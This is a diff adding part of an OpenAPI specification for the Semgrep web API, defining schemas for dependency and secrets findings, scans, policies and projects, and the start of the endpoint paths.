+ property combining information from the finding `state` and `triage_state`.
+ The `triage_state` can be used to override the scan state if the finding
+ is still detected
+ enum:
+ - open
+ - fixed
+ - ignored
+ - reviewing
+ - fixing
+ - provisionally_ignored
+ example: open
+ type: string
+ syntactic_id:
+ description: ID calculated based on a finding's file path, rule identifier
+ and matched code, and index. Prefer `match_based_id`
+ example: 440eeface888e78afceac3dc7d4cc2cf
+ type: string
+ triage_comment:
+ description: The detailed comment provided during triage
+ example: This finding is from the test repo
+ type: string
+ triage_reason:
+ description: Reason provided when this issue was triaged
+ enum:
+ - acceptable_risk
+ - false_positive
+ - no_time
+ example: acceptable_risk
+ type: string
+ triage_state:
+ description: 'The finding''s triage state. Note: "reviewing" and "fixing"
+ are only in private beta. Set by the user and used along with state to
+ generate the final "status" viewable in the UI'
+ enum:
+ - untriaged
+ - ignored
+ - reopened
+ - reviewing
+ - fixing
+ - provisionally_ignored
+ example: untriaged
+ type: string
+ triaged_at:
+ description: When the finding was triaged
+ example: 2020-11-19 23:28:12.391807+00:00
+ type: string
+ usage:
+ $ref: '#/components/schemas/protos.openapi.v1.ScaFinding_Usage'
+ vulnerability_identifier:
+ description: Identifier of the vulnerability in the vulnerability database
+ example: CVE-2021-24112
+ type: string
+ title: Sca Finding
+ type: object
+ protos.openapi.v1.ScaFinding_EpssScore:
+ description: The score assigned by FIRST.org's Exploitation Probability Scoring
+ System
+ properties:
+ percentile:
+ description: This EPSS score's percentile among all EPSS scores, from 0
+ to 1
+ example: 0.994
+ format: float
+ type: number
+ score:
+ description: The explotation probability, from 0 to 1
+ example: 0.97
+ format: float
+ type: number
+ title: Epss Score
+ type: object
+ protos.openapi.v1.ScaFinding_FixRecommendation:
+ description: Recommendation for fixing the vulnerability
+ properties:
+ package:
+ description: The package for which a fix is recommended
+ example: System.Drawing.Common
+ type: string
+ version:
+ description: The recommended version of the package
+ example: 5.0.3
+ type: string
+ title: Fix Recommendation
+ type: object
+ protos.openapi.v1.ScaFinding_FoundDependency:
+ description: Information about the vulnerable package that was found in the
+ codebase
+ properties:
+ ecosystem:
+ default: no_package_manager
+ description: Ecosystem of the package
+ enum:
+ - no_package_manager
+ - npm
+ - pypi
+ - gomod
+ - cargo
+ - maven
+ - gem
+ - composer
+ - nuget
+ - pub
+ - swiftpm
+ - hex
+ example: npm
+ type: string
+ lockfile_line_url:
+ description: URL to the specific line in the lockfile where the dependency
+ is listed
+ example: https://github.com/yourorg/yourrepo/blob/main/package-lock.json#L25
+ type: string
+ package:
+ description: Name of the package that contains the vulnerability
+ example: System.Drawing.Common
+ type: string
+ transitivity:
+ description: Indicates whether the dependency is direct or transitive
+ enum:
+ - direct
+ - transitive
+ - unknown
+ example: direct
+ type: string
+ version:
+ description: Version of the package that was found to be vulnerable
+ example: 5.0.0
+ type: string
+ title: Found Dependency
+ type: object
+ protos.openapi.v1.ScaFinding_Usage:
+ description: Usage of the vulnerable package in the codebase. Applies to reachable
+ findings
+ properties:
+ external_ticket:
+ $ref: '#/components/schemas/protos.openapi.v1.ExternalTicket'
+ location:
+ $ref: '#/components/schemas/protos.openapi.v1.FindingLocation'
+ title: Usage
+ type: object
+ protos.openapi.v1.SearchScansRequest:
+ properties:
+ branch:
+ description: Only get scans from the specified branch
+ type: string
+ cursor:
+ description: Cursor to paginate through the results
+ type: string
+ deploymentId:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ is_full_scan:
+ description: Only get scans that are full scans (if false, only get diff
+ scans)
+ type: integer
+ limit:
+ description: Page size to paginate through the results (default is 100,
+ max is 500)
+ type: integer
+ products:
+ description: 'Only get scans that have these enabled products
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | PRODUCT_SAST | |
+
+ | PRODUCT_SCA | |
+
+ | PRODUCT_SECRETS | |
+
+ | PRODUCT_AI_SAST | |
+
+
+ '
+ enum:
+ - PRODUCT_SAST
+ - PRODUCT_SCA
+ - PRODUCT_SECRETS
+ - PRODUCT_AI_SAST
+ items:
+ enum:
+ - PRODUCT_UNSPECIFIED
+ - PRODUCT_SAST
+ - PRODUCT_SCA
+ - PRODUCT_SECRETS
+ - PRODUCT_AI_SAST
+ format: enum
+ type: string
+ type: array
+ repository_id:
+ description: Only get scans for this repo
+ type: integer
+ since:
+ description: Only get scans created after this time. Provide time in ISO
+ 8601 format.
+ format: date-time
+ type: string
+ statuses:
+ description: 'Only get scans that have one of these statuses
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | SCAN_STATUS_RUNNING | The scan is currently running |
+
+ | SCAN_STATUS_COMPLETED | The scan has completed successfully (0 or 1
+ exit code) |
+
+ | SCAN_STATUS_ERROR | The scan has exited with a failure (exit code not
+ 0 or 1) |
+
+ | SCAN_STATUS_NEVER_FINISHED | The scan did not report an error or success
+ after over an hour |
+
+
+ '
+ enum:
+ - SCAN_STATUS_RUNNING
+ - SCAN_STATUS_COMPLETED
+ - SCAN_STATUS_ERROR
+ - SCAN_STATUS_NEVER_FINISHED
+ items:
+ enum:
+ - SCAN_STATUS_UNSPECIFIED
+ - SCAN_STATUS_RUNNING
+ - SCAN_STATUS_COMPLETED
+ - SCAN_STATUS_ERROR
+ - SCAN_STATUS_NEVER_FINISHED
+ format: enum
+ type: string
+ type: integer
+ total_time:
+ $ref: '#/components/schemas/protos.common.v1.FloatRange'
+ required:
+ - deployment_id
+ title: Search Scans Request
+ type: object
+ protos.openapi.v1.SearchScansResponse:
+ properties:
+ cursor:
+ description: Cursor to retrieve the next page of results.
+ type: string
+ scans:
+ description: List of scans.
+ items:
+ $ref: '#/components/schemas/protos.scan.v1.ScanPublic'
+ type: array
+ type: object
+ protos.openapi.v1.ToggleProjectManagedScanRequest:
+ properties:
+ deploymentSlug:
+ description: Slug of the deployment name. Can be found at `/deployments`,
+ or in your Settings in the web UI.
+ example: your-deployment
+ type: string
+ diff_scan:
+ $ref: '#/components/schemas/protos.openapi.v1.DiffScan'
+ full_scan:
+ $ref: '#/components/schemas/protos.openapi.v1.FullScan'
+ projectName:
+ description: Name of the project, typically the repository formatted as
+ a path.
+ example: organization/project
+ type: string
+ required:
+ - deployment_slug
+ - project_name
+ title: Toggle Project Managed Scan Request
+ type: object
+ protos.openapi.v1.ToggleProjectManagedScanResponse:
+ description: Successfully updated managed scan settings for project.
+ properties:
+ project:
+ $ref: '#/components/schemas/protos.openapi.v1.Project'
+ required:
+ - projects
+ title: Toggle Project Managed Scan Response
+ type: object
+ protos.openapi.v1.UpdatePolicyRequest:
+ properties:
+ deploymentId:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ policyId:
+ description: 'Policy ID (numeric). Example: `456`. Can be found at `/deployments/{deploymentId}/policies`.'
+ example: 456
+ format: uint64
+ type: string
+ policyMode:
+ description: "New policy mode to set for the Rule.\n\n - MODE_MONITOR: Monitor
+ mode, silently report findings\n - MODE_COMMENT: Comment mode, leaves
+ PR comments but does not block\n - MODE_BLOCK: Block mode, leaves PR comments
+ and blocks PR\n - MODE_DISABLED: Disabled mode, not active\n\n| value
+ | description |\n|-------|---------------|\n| MODE_MONITOR | Monitor mode,
+ silently report findings |\n| MODE_COMMENT | Comment mode, leaves PR comments
+ but does not block |\n| MODE_BLOCK | Block mode, leaves PR comments and
+ blocks PR |\n| MODE_DISABLED | Disabled mode, not active |\n\n"
+ enum:
+ - MODE_MONITOR
+ - MODE_COMMENT
+ - MODE_BLOCK
+ - MODE_DISABLED
+ format: enum
+ type: string
+ rulePath:
+ description: Full path of the Rule.
+ type: string
+ required:
+ - deployment_id
+ - policy_id
+ - rule_path
+ - policy_mode
+ title: Update Policy Request
+ type: object
+ protos.openapi.v1.UpdatePolicyResponse:
+ properties:
+ policyId:
+ description: 'Policy ID (numeric). Example: `456`. Can be found at `/deployments/{deploymentId}/policies`.'
+ example: '1'
+ format: uint64
+ type: string
+ updatedRule:
+ $ref: '#/components/schemas/protos.common.v1.Rule'
+ type: object
+ protos.openapi.v1.UpdateProjectRequest:
+ properties:
+ deploymentSlug:
+ description: Slug of the deployment name. Can be found at `/deployments`,
+ or in your Settings in the web UI.
+ example: your-deployment
+ type: string
+ managed_scan_config:
+ $ref: '#/components/schemas/protos.openapi.v1.ManagedScanConfig'
+ primary_branch:
+ description: The full name of the branch you would like to set as primary.
+ Use "None" if default_branch is known and you wish to set primary to always
+ be the default branch.
+ example: refs/heads/develop
+ type: string
+ projectName:
+ description: Name of the project, typically the repository formatted as
+ a path.
+ example: organization/project
+ type: string
+ tags:
+ description: Tags associated to this project.
+ example:
+ - tag
+ items:
+ type: string
+ type: string
+ required:
+ - deployment_slug
+ - project_name
+ title: Update Project Request
+ type: object
+ protos.openapi.v1.UpdateProjectResponse:
+ description: Successfully updated details for the project.
+ properties:
+ project:
+ $ref: '#/components/schemas/protos.openapi.v1.Project'
+ required:
+ - projects
+ title: Update Project Response
+ type: object
+ protos.sca.v1.CodeLocation:
+ description: Specific location in a file.
+ properties:
+ committedAt:
+ description: Timestamp when code file was last modified, if available.
+ format: date-time
+ type: string
+ endCol:
+ description: Ending column number (1 indexed).
+ type: string
+ endLine:
+ description: Ending line number (1 indexed).
+ type: string
+ path:
+ description: Path to a file.
+ type: string
+ startCol:
+ description: Starting column number (1 indexed).
+ type: string
+ startLine:
+ description: Starting line number (1 indexed).
+ type: string
+ url:
+ description: URL to code location if available, otherwise empty.
+ type: string
+ type: object
+ protos.sca.v1.Dependency:
+ description: A specific dependency.
+ properties:
+ name:
+ description: String identifier of dependency
+ type: string
+ versionSpecifier:
+ description: Version specifier of dependency.
+ type: string
+ type: object
+ protos.sca.v1.DependencyFilter:
+ description: Object to provide dependency details to filter by.
+ properties:
+ ecosystem:
+ description: 'Filter by ecosystem (e.g. npm, pypi, etc).
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | no_package_manager | |
+
+ | npm | |
+
+ | pypi | |
+
+ | gomod | |
+
+ | cargo | |
+
+ | maven | |
+
+ | gem | |
+
+ | composer | |
+
+ | nuget | |
+
+ | pub | |
+
+ | swiftpm | |
+
+ | hex | |
+
+
+ '
+ enum:
+ - no_package_manager
+ - npm
+ - pypi
+ - gomod
+ - cargo
+ - maven
+ - gem
+ - composer
+ - nuget
+ - pub
+ - swiftpm
+ - hex
+ items:
+ enum:
+ - no_package_manager
+ - npm
+ - pypi
+ - gomod
+ - cargo
+ - maven
+ - gem
+ - composer
+ - nuget
+ - pub
+ - swiftpm
+ - hex
+ format: enum
+ type: string
+ type: array
+ license:
+ description: Filter by license (e.g. MIT).
+ items:
+ type: string
+ type: array
+ licensePolicySettings:
+ description: 'Filter by license policy setting outcome.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | LICENSE_POLICY_SETTING_ALLOW | |
+
+ | LICENSE_POLICY_SETTING_COMMENT | |
+
+ | LICENSE_POLICY_SETTING_BLOCK | |
+
+
+ '
+ enum:
+ - LICENSE_POLICY_SETTING_ALLOW
+ - LICENSE_POLICY_SETTING_COMMENT
+ - LICENSE_POLICY_SETTING_BLOCK
+ items:
+ enum:
+ - LICENSE_POLICY_SETTING_UNSPECIFIED
+ - LICENSE_POLICY_SETTING_ALLOW
+ - LICENSE_POLICY_SETTING_COMMENT
+ - LICENSE_POLICY_SETTING_BLOCK
+ format: enum
+ type: string
+ type: array
+ lockfilePath:
+ description: Filter by path to the lockfile (e.g. `foo/bar/package-lock.json`).
+ type: string
+ name:
+ description: Deprecated - use package_filters instead. Filter by dependency
+ name (e.g. lodash).
+ type: string
+ packageFilters:
+ description: Multiple package filters with exact name matching and version
+ bounds.
+ items:
+ $ref: '#/components/schemas/protos.sca.v1.PackageFilter'
+ type: array
+ repositoryId:
+ description: "Repository IDs (numeric) to filter by. Omit if the endpoint
+ has Repository ID as a path parameter.\n Use Projects endpoints to retrieve
+ Repository IDs."
+ items:
+ format: uint32
+ type: integer
+ type: array
+ transitivity:
+ description: 'Filter by transitivity.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | UNKNOWN_TRANSITIVITY | |
+
+ | TRANSITIVE | |
+
+ | DIRECT | |
+
+
+ '
+ enum:
+ - UNKNOWN_TRANSITIVITY
+ - TRANSITIVE
+ - DIRECT
+ items:
+ enum:
+ - UNKNOWN_TRANSITIVITY
+ - TRANSITIVE
+ - DIRECT
+ format: enum
+ type: string
+ type: array
+ version:
+ description: Deprecated - use package_filters instead. Filter by dependency
+ version (e.g. 1.0.1).
+ type: string
+ type: object
+ protos.sca.v1.FoundDependency:
+ properties:
+ definedAt:
+ allOf:
+ - $ref: '#/components/schemas/protos.sca.v1.CodeLocation'
+ description: Path and line number dependency is declared in.
+ ecosystem:
+ description: 'The ecosystem the dependency is in (e.g. pypi, npm, etc).
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | no_package_manager | |
+
+ | npm | |
+
+ | pypi | |
+
+ | gomod | |
+
+ | cargo | |
+
+ | maven | |
+
+ | gem | |
+
+ | composer | |
+
+ | nuget | |
+
+ | pub | |
+
+ | swiftpm | |
+
+ | hex | |
+
+
+ '
+ enum:
+ - no_package_manager
+ - npm
+ - pypi
+ - gomod
+ - cargo
+ - maven
+ - gem
+ - composer
+ - nuget
+ - pub
+ - swiftpm
+ - hex
+ format: enum
+ type: string
+ licenses:
+ description: Licenses the dependency is using.
+ items:
+ type: string
+ type: array
+ manifestDefinition:
+ allOf:
+ - $ref: '#/components/schemas/protos.sca.v1.CodeLocation'
+ description: Path to the manifest file that defines the subproject containing
+ this dependency
+ package:
+ allOf:
+ - $ref: '#/components/schemas/protos.sca.v1.Dependency'
+ description: What the dependency is.
+ repositoryId:
+ description: ID of repository dependency is found in.
+ type: string
+ resolvedUrl:
+ description: The resolved URL of the dependency. Could point to a compressed
+ source code directory (e.g. tarball), source code repository, or a package
+ manager cache directory. May be empty if the package manager doesn't supply
+ a URL.
+ type: string
+ transitivity:
+ description: 'Whether dependency is direct or transitive.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | UNKNOWN_TRANSITIVITY | |
+
+ | TRANSITIVE | |
+
+ | DIRECT | |
+
+
+ '
+ enum:
+ - UNKNOWN_TRANSITIVITY
+ - TRANSITIVE
+ - DIRECT
+ format: enum
+ type: string
+ type: object
+ protos.sca.v1.LockfileDependencySummary:
+ properties:
+ lockfilePath:
+ description: Path to lockfile (e.g. foo/bar/package-lock.json).
+ type: string
+ numDependencies:
+ description: Total number of dependencies in the lockfile.
+ format: uint32
+ type: integer
+ type: object
+ protos.sca.v1.PackageFilter:
+ description: Individual package filter with optional version bounds.
+ properties:
+ exactNameMatch:
+ description: When true, name must match exactly. When false (default), name
+ is fuzzy-matched (contains).
+ type: boolean
+ exactVersion:
+ description: "Exact version match (e.g. \"1.0.0\").\n Takes precedence over
+ version bounds if set."
+ type: string
+ name:
+ description: Exact package name (e.g. lodash).
+ type: string
+ versionLowerBound:
+ description: "Lower bound version constraint (e.g. \">=1.0.0\").\n Ignored
+ if exact_version is set."
+ type: string
+ versionUpperBound:
+ description: "Upper bound version constraint (e.g. \"<2.0.0\").\n Ignored
+ if exact_version is set."
+ type: string
+ type: object
+ protos.sca.v1.RepositoryDependencySummary:
+ properties:
+ hasDependencyPathScan:
+ description: "True if the repository has been scanned with the `hasPathToTransitivityInScans`
+ feature flag\n which means it will have dependency graph data in DGraph
+ available to query"
+ type: boolean
+ id:
+ description: ID of repository.
+ format: uint32
+ type: integer
+ name:
+ description: Name of repository.
+ type: string
+ numDependencies:
+ description: Total number of dependencies in the repository.
+ format: uint32
+ type: integer
+ type: object
+ protos.sca.v1.SbomFormatVersion:
+ properties:
+ format:
+ default: SBOM_FORMAT_CYCLONEDX
+ description: 'Format for the SBOM export.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | SBOM_FORMAT_CYCLONEDX | |
+
+
+ '
+ enum:
+ - SBOM_FORMAT_CYCLONEDX
+ format: enum
+ type: string
+ version:
+ default: '1.5'
+ description: Version of the SBOM format.
+ type: string
+ type: object
+ protos.sca.v1.SbomMetadataContact:
+ properties:
+ email:
+ type: string
+ name:
+ type: string
+ phone:
+ type: string
+ type: object
+ protos.sca.v1.SbomMetadataSupplier:
+ properties:
+ contact:
+ $ref: '#/components/schemas/protos.sca.v1.SbomMetadataContact'
+ name:
+ type: string
+ url:
+ type: string
+ type: object
+ protos.scan.v1.ScanFindingsCounts:
+ properties:
+ code:
+ description: Total number of Code findings in the scan
+ example: 2
+ format: uint64
+ type: string
+ secrets:
+ description: Total number of Secrets findings in the scan
+ example: 1
+ format: uint64
+ type: string
+ supply_chain:
+ description: Total number of Supply Chain findings in the scan
+ example: 1
+ format: uint64
+ type: string
+ total:
+ description: Total number of findings in the scan
+ example: 4
+ format: uint64
+ type: string
+ type: object
+ protos.scan.v1.ScanPublic:
+ properties:
+ branch:
+ description: The scanned branch
+ example: main
+ type: string
+ commit:
+ description: The commit hash that was scanned
+ example: 6d3de02545f820febf2af9820568fa5f697d4087
+ type: string
+ completed_at:
+ description: The timestamp when this scan completed (if it has completed).
+ example: 2020-11-18 23:30:10.216670+00:00
+ format: date-time
+ type: string
+ deployment_id:
+ description: Unique identifier for the deployment of the scan.
+ format: uint64
+ type: string
+ enabled_products:
+ description: The products used when running the scan.
+ example:
+ - secrets
+ items:
+ type: string
+ type: array
+ exit_code:
+ description: The exit_code of the scan (see https://semgrep.dev/cli-reference#exit-codes)
+ example: 0
+ format: int64
+ type: string
+ findings_counts:
+ $ref: '#/components/schemas/protos.scan.v1.ScanFindingsCounts'
+ id:
+ description: ID of the scan.
+ format: uint64
+ type: string
+ is_full_scan:
+ description: Whether the scan was a full scan (true) or a diff scan (false)
+ example: true
+ type: boolean
+ repository_id:
+ description: Unique identifier for the repository of the scan.
+ format: uint64
+ type: string
+ started_at:
+ description: The timestamp when this scan started.
+ example: 2020-11-18 23:28:12.391807+00:00
+ format: date-time
+ type: string
+ status:
+ description: 'The current status of the scan
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | SCAN_STATUS_RUNNING | The scan is currently running |
+
+ | SCAN_STATUS_COMPLETED | The scan has completed successfully (0 or 1
+ exit code) |
+
+ | SCAN_STATUS_ERROR | The scan has exited with a failure (exit code not
+ 0 or 1) |
+
+ | SCAN_STATUS_NEVER_FINISHED | The scan did not report an error or success
+ after over an hour |
+
+
+ '
+ enum:
+ - SCAN_STATUS_RUNNING
+ - SCAN_STATUS_COMPLETED
+ - SCAN_STATUS_ERROR
+ - SCAN_STATUS_NEVER_FINISHED
+ example: SCAN_STATUS_RUNNING
+ format: enum
+ type: string
+ total_time:
+ description: Duration of scan, in seconds
+ example: 17.32
+ format: float
+ type: number
+ type: object
+ protos.secrets.v1.HistoricalInfo:
+ properties:
+ gitBlob:
+ description: "Git blob at which the finding is present. Sent in addition
+ to the commit\n since some SCMs have permalinks which use the blob sha,
+ so this information\n is useful when generating links back to the SCM."
+ type: string
+ gitCommit:
+ description: "Git commit at which the finding is present. Used by \"historical\"
+ scans,\n which scan non-HEAD commits in the git history. Relevant for
+ finding, e.g.,\n secrets which are buried in the git history which we
+ wouldn't find at HEAD"
+ type: string
+ gitCommitTimestamp:
+ format: date-time
+ type: string
+ type: object
+ protos.secrets.v1.SecretsFinding:
+ description: A Finding represents a single secret finding.
+ properties:
+ autotriage:
+ allOf:
+ - $ref: '#/components/schemas/protos.ai.v1.Autotriage'
+ description: "* Autotriage info for the finding.\n This is used for the
+ Generic Secrets Detection project, for\n autotriaging secrets findings
+ with LLMs"
+ confidence:
+ description: 'Confidence of the finding.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | CONFIDENCE_HIGH | |
+
+ | CONFIDENCE_MEDIUM | |
+
+ | CONFIDENCE_LOW | |
+
+
+ '
+ enum:
+ - CONFIDENCE_HIGH
+ - CONFIDENCE_MEDIUM
+ - CONFIDENCE_LOW
+ format: enum
+ type: string
+ createdAt:
+ description: Creation timestamp.
+ format: date-time
+ type: string
+ externalTicket:
+ allOf:
+ - $ref: '#/components/schemas/protos.ticketing.v1.ExternalTicket'
+ description: The external ticket reference
+ findingPath:
+ description: File path where the finding was detected.
+ type: string
+ findingPathUrl:
+ description: URL to the file where the finding was detected.
+ type: string
+ historicalInfo:
+ allOf:
+ - $ref: '#/components/schemas/protos.secrets.v1.HistoricalInfo'
+ description: Historical scanning info for the finding.
+ id:
+ description: ID of the finding.
+ type: string
+ mode:
+ description: 'The behavior of the finding reporting: Monitor / Comment /
+ Block.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | MODE_MONITOR | Monitor mode, silently report findings |
+
+ | MODE_COMMENT | Comment mode, leaves PR comments but does not block |
+
+ | MODE_BLOCK | Block mode, leaves PR comments and blocks PR |
+
+ | MODE_DISABLED | Disabled mode, not active |
+
+
+ '
+ enum:
+ - MODE_MONITOR
+ - MODE_COMMENT
+ - MODE_BLOCK
+ - MODE_DISABLED
+ format: enum
+ type: string
+ ref:
+ description: Branch where the finding was detected.
+ type: string
+ refUrl:
+ description: URL to the branch where the finding was detected.
+ type: string
+ repository:
+ allOf:
+ - $ref: '#/components/schemas/protos.secrets.v1.SecretsFinding_Repository'
+ description: Repository where the finding was detected.
+ reviewComments:
+ description: List of external review comment information associated with
+ a finding
+ items:
+ $ref: '#/components/schemas/protos.common.v1.ReviewComment'
+ type: array
+ ruleHashId:
+ description: ID of the rule that triggered the finding.
+ type: string
+ severity:
+ description: 'Severity of the finding.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | SEVERITY_HIGH | |
+
+ | SEVERITY_MEDIUM | |
+
+ | SEVERITY_LOW | |
+
+ | SEVERITY_CRITICAL | |
+
+
+ '
+ enum:
+ - SEVERITY_HIGH
+ - SEVERITY_MEDIUM
+ - SEVERITY_LOW
+ - SEVERITY_CRITICAL
+ format: enum
+ type: string
+ status:
+ description: 'Status of the finding.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | FINDING_STATUS_OPEN | |
+
+ | FINDING_STATUS_IGNORED | |
+
+ | FINDING_STATUS_FIXED | |
+
+ | FINDING_STATUS_REMOVED | |
+
+ | FINDING_STATUS_UNKNOWN | |
+
+ | FINDING_STATUS_PROVISIONALLY_IGNORED | |
+
+
+ '
+ enum:
+ - FINDING_STATUS_OPEN
+ - FINDING_STATUS_IGNORED
+ - FINDING_STATUS_FIXED
+ - FINDING_STATUS_REMOVED
+ - FINDING_STATUS_UNKNOWN
+ - FINDING_STATUS_PROVISIONALLY_IGNORED
+ format: enum
+ type: string
+ type:
+ description: Service type for the secrets finding (e.g. AWS, GitHub, GitLab,
+ etc).
+ type: string
+ updatedAt:
+ description: Update timestamp.
+ format: date-time
+ type: string
+ validationState:
+ description: 'Whether the finding was validated or not.
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | VALIDATION_STATE_CONFIRMED_VALID | |
+
+ | VALIDATION_STATE_CONFIRMED_INVALID | |
+
+ | VALIDATION_STATE_VALIDATION_ERROR | |
+
+ | VALIDATION_STATE_NO_VALIDATOR | |
+
+
+ '
+ enum:
+ - VALIDATION_STATE_CONFIRMED_VALID
+ - VALIDATION_STATE_CONFIRMED_INVALID
+ - VALIDATION_STATE_VALIDATION_ERROR
+ - VALIDATION_STATE_NO_VALIDATOR
+ format: enum
+ type: string
+ type: object
+ protos.secrets.v1.SecretsFinding_Repository:
+ description: Repository where the finding was detected.
+ properties:
+ name:
+ description: Repository name
+ type: string
+ scmType:
+ description: 'Provider for the finding (e.g. GitHub, GitLab, GHE, etc).
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | SCM_TYPE_GITHUB | GitHub Cloud |
+
+ | SCM_TYPE_GITHUB_ENTERPRISE | GitHub Enterprise |
+
+ | SCM_TYPE_GITLAB | GitLab Cloud |
+
+ | SCM_TYPE_GITLAB_SELFMANAGED | GitLab Self-Managed |
+
+ | SCM_TYPE_BITBUCKET | Bitbucket Cloud |
+
+ | SCM_TYPE_BITBUCKET_DATACENTER | Bitbucket Data Center |
+
+ | SCM_TYPE_AZURE_DEVOPS | Azure DevOps |
+
+ | SCM_TYPE_UNKNOWN | |
+
+
+ '
+ enum:
+ - SCM_TYPE_GITHUB
+ - SCM_TYPE_GITHUB_ENTERPRISE
+ - SCM_TYPE_GITLAB
+ - SCM_TYPE_GITLAB_SELFMANAGED
+ - SCM_TYPE_BITBUCKET
+ - SCM_TYPE_BITBUCKET_DATACENTER
+ - SCM_TYPE_AZURE_DEVOPS
+ - SCM_TYPE_UNKNOWN
+ format: enum
+ type: string
+ url:
+ description: URL to the repository where the finding was detected.
+ type: string
+ visibility:
+ description: 'Repository visbility (e.g. public, private, unknown).
+
+
+ | value | description |
+
+ |-------|---------------|
+
+ | REPOSITORY_VISIBILITY_PUBLIC | |
+
+ | REPOSITORY_VISIBILITY_PRIVATE | |
+
+ | REPOSITORY_VISIBILITY_UNKNOWN | |
+
+
+ '
+ enum:
+ - REPOSITORY_VISIBILITY_PUBLIC
+ - REPOSITORY_VISIBILITY_PRIVATE
+ - REPOSITORY_VISIBILITY_UNKNOWN
+ format: enum
+ type: string
+ type: object
+ protos.ticketing.v1.ExternalTicket:
+ properties:
+ externalSlug:
+ description: Identifier of the external ticket (e.g. for Jira, something
+ like OPS-158).
+ type: string
+ id:
+ description: Nango ticket id
+ type: string
+ linkedIssueIds:
+ description: Semgrep issue ids that are linked to this external ticket
+ items:
+ type: string
+ type: array
+ url:
+ description: URL of the external ticket.
+ type: string
+ type: object
+ securitySchemes:
+ SemgrepAdminJWT:
+ bearerFormat: string
+ description: Get access to data with a Semgrep Admin JSON Web Token.
+ scheme: bearer
+ type: http
+ SemgrepJWT:
+ bearerFormat: string
+ description: Get access to data with your user's JSON Web Token.
+ scheme: bearer
+ type: http
+ SemgrepWebToken:
+ bearerFormat: string
+ description: 'Get access to data with your API token. Example header:
+
+
+ `Authorization: Bearer 2991e2fb4b540fe75b8f90677b0b892b6314e4961cb001fe6eb452eee248a628`
+
+
+ The token can be provisioned from the Tokens section in your Settings, and
+ requires explicitly enabling `Web API` access.'
+ scheme: bearer
+ type: http
+info:
+ description: '
+
+ Welcome to Semgrep''s portal for the Semgrep AppSec Platform web API.
+
+
+ # Introduction
+
+ Semgrep is a fast, open-source, static analysis tool for finding bugs and enforcing
+ code standards at editor,
+
+ commit, and CI time. [Get started.](https://semgrep.dev/getting-started/)
+
+
+ Semgrep analyzes code locally on your computer or in your build environment: **code
+ is never uploaded.**
+
+
+ This API is documented in the **OpenAPI format**.
+
+
+ # Authentication
+
+ The API supports authentication with an API token with the "Web API" permission,
+ without limited
+
+ scopes of access.
+
+
+ You can provision an API token [from the Settings page](https://semgrep.dev/orgs/-/settings/tokens).
+
+
+ # Terms of Use
+
+
+ Please note, the materials made available herein are subject to the
+
+ [Semgrep Terms of Use](https://semgrep.dev/resources/website-terms/), and your
+
+ access or use of any of the same is your acknowledgment and acceptance of the
+
+ such terms.
+
+
+
+
+
+ ___
+
+ '
+ title: Semgrep Web App
+ version: 1.0.0
+openapi: 3.0.3
+paths:
+ /api/v1/bootstrap-sms-vpc:
+ get:
+ description: 'VPC support for Managed Scans is in private beta.
+
+
+ Returns the Managed Scans VPC Bootstrap CloudFormation template in JSON format
+ for setting up cross-account infrastructure.
+
+
+ This template creates IAM roles and policies needed for Semgrep Managed Scanning
+ (SMS) VPC infrastructure automation,
+
+ including the semgrep-sms-vpc-automation role and EC2 Image Builder distribution
+ roles for gVisor container runtime.
+
+
+ See the original AWS cloudformation template format at https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/template-formats.html
+
+ '
+ operationId: MiscService_GetBootstrapSmsVpc
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.GetBootstrapSmsVpcResponse'
+ description: OK
+ summary: '[Beta] Get SMS VPC Bootstrap CloudFormation Template'
+ tags:
+ - MiscService
+ x-badges: []
+ /api/v1/deployments:
+ get:
+ description: 'Request the deployments your auth can access.
+
+
+ Currently available auth scope does not extend over more than one deployment.
+ This endpoint returns the single deployment your token can access. The endpoint
+ additionally returns links to related resources available on this API.'
+ operationId: DeploymentsService_ListDeployments
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListDeploymentsResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: List deployments
+ tags:
+ - DeploymentsService
+ x-badges: []
+ /api/v1/deployments/{deploymentId}/dependencies:
+ post:
+ operationId: SupplyChainService_ListDependencies
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ example: 123
+ format: uint64
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListDependenciesRequest'
+ required: true
+ responses:
+ '200':
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListDependenciesResponse'
+ description: OK
+ security:
+ - SemgrepWebToken: []
+ summary: List dependencies
+ tags:
+ - SupplyChainService
+ x-badges: []
+ /api/v1/deployments/{deploymentId}/dependencies/repositories:
+ post:
+ operationId: SupplyChainService_ListRepositoriesForDependencies
+ parameters:
+ - in: path
+ name: deploymentId
+ required: true
+ schema:
+ description: 'Deployment ID (numeric). Example: `123`. Can be found at `/deployments`,
+ or in your Settings in the web UI.'
+ format: uint64
+ type: string
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/protos.openapi.v1.ListRepositoriesForDependenciesRequest'
+ required: true
+ responses:
+ '200':
+ content:
